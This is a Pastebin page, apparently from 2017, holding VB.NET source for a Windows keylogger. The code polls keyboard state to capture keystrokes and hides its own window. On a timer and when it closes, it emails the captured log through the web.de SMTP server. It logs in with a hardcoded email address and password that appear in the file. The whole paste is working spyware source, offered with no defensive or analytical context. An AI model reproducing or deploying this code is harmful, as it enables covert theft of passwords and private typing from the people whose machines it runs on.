Guest User

Untitled

a guest
Dec 9th, 2017
378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.56 KB | None | 0 0
  1. Option Strict On
  2. Imports System.Net.Mail
  3.  
  4. Public Class Form1
  5. Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
  6.  
  7.  
  8. Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TimerKeys.Tick
  9. Dim result As Integer
  10. Dim key As String
  11. Dim i As Integer
  12. For i = 2 To 90
  13. result = 0
  14. result = GetAsyncKeyState(i)
  15. If result = -32767 Then
  16. key = Chr(i)
  17. If i = 13 Then key = vbNewLine
  18. Exit For
  19. End If
  20. Next i
  21. If key = Nothing Then
  22. Exit Sub
  23. End If
  24. If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
  25. tbLog.Text &= key
  26. Else
  27. tbLog.Text &= key.ToLower
  28. End If
  29. If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then
  30. Me.Show()
  31. End If
  32. End Sub
  33. Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
  34. Me.Hide()
  35. End Sub
  36. Private Sub timerSave_Tick() Handles TimerSave.Tick
  37. Dim Msg As New MailMessage
  38. Dim myCredentials As New System.Net.NetworkCredential
  39. myCredentials.UserName = "KeyLogger20.11@web.de"
  40. myCredentials.Password = "fullspeed"
  41.  
  42. Msg.IsBodyHtml = False
  43.  
  44. Dim mySmtpsvr As New SmtpClient()
  45. mySmtpsvr.Host = "smtp.web.de" 'bei web.de
  46. mySmtpsvr.Port = 25
  47.  
  48. mySmtpsvr.UseDefaultCredentials = False
  49. mySmtpsvr.Credentials = myCredentials
  50.  
  51. Try
  52. Msg.From = New MailAddress("KeyLogger20.11@web.de")
  53. Msg.To.Add("KeyLogger20.11@web.de")
  54. Msg.Subject = "Betreff"
  55. Msg.Body = tbLog.Text
  56. mySmtpsvr.Send(Msg)
  57. MsgBox("E-Mail gesendet.", MsgBoxStyle.Information, Title:="Information")
  58. Catch ex As Exception
  59. MsgBox(Err.Number & ex.Message & ex.StackTrace.ToString) 'Falls ein Fehler auftritt wird eine MsgBox angezeigt
  60. End Try
  61. End Sub
  62. Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
  63. tbLog.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
  64. timerSave_Tick()
  65. End Sub
  66. Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
  67. tbLog.Text = "Started at: " & Now & vbNewLine
  68. End Sub
  69. End Class
Add Comment
Please, Sign In to add comment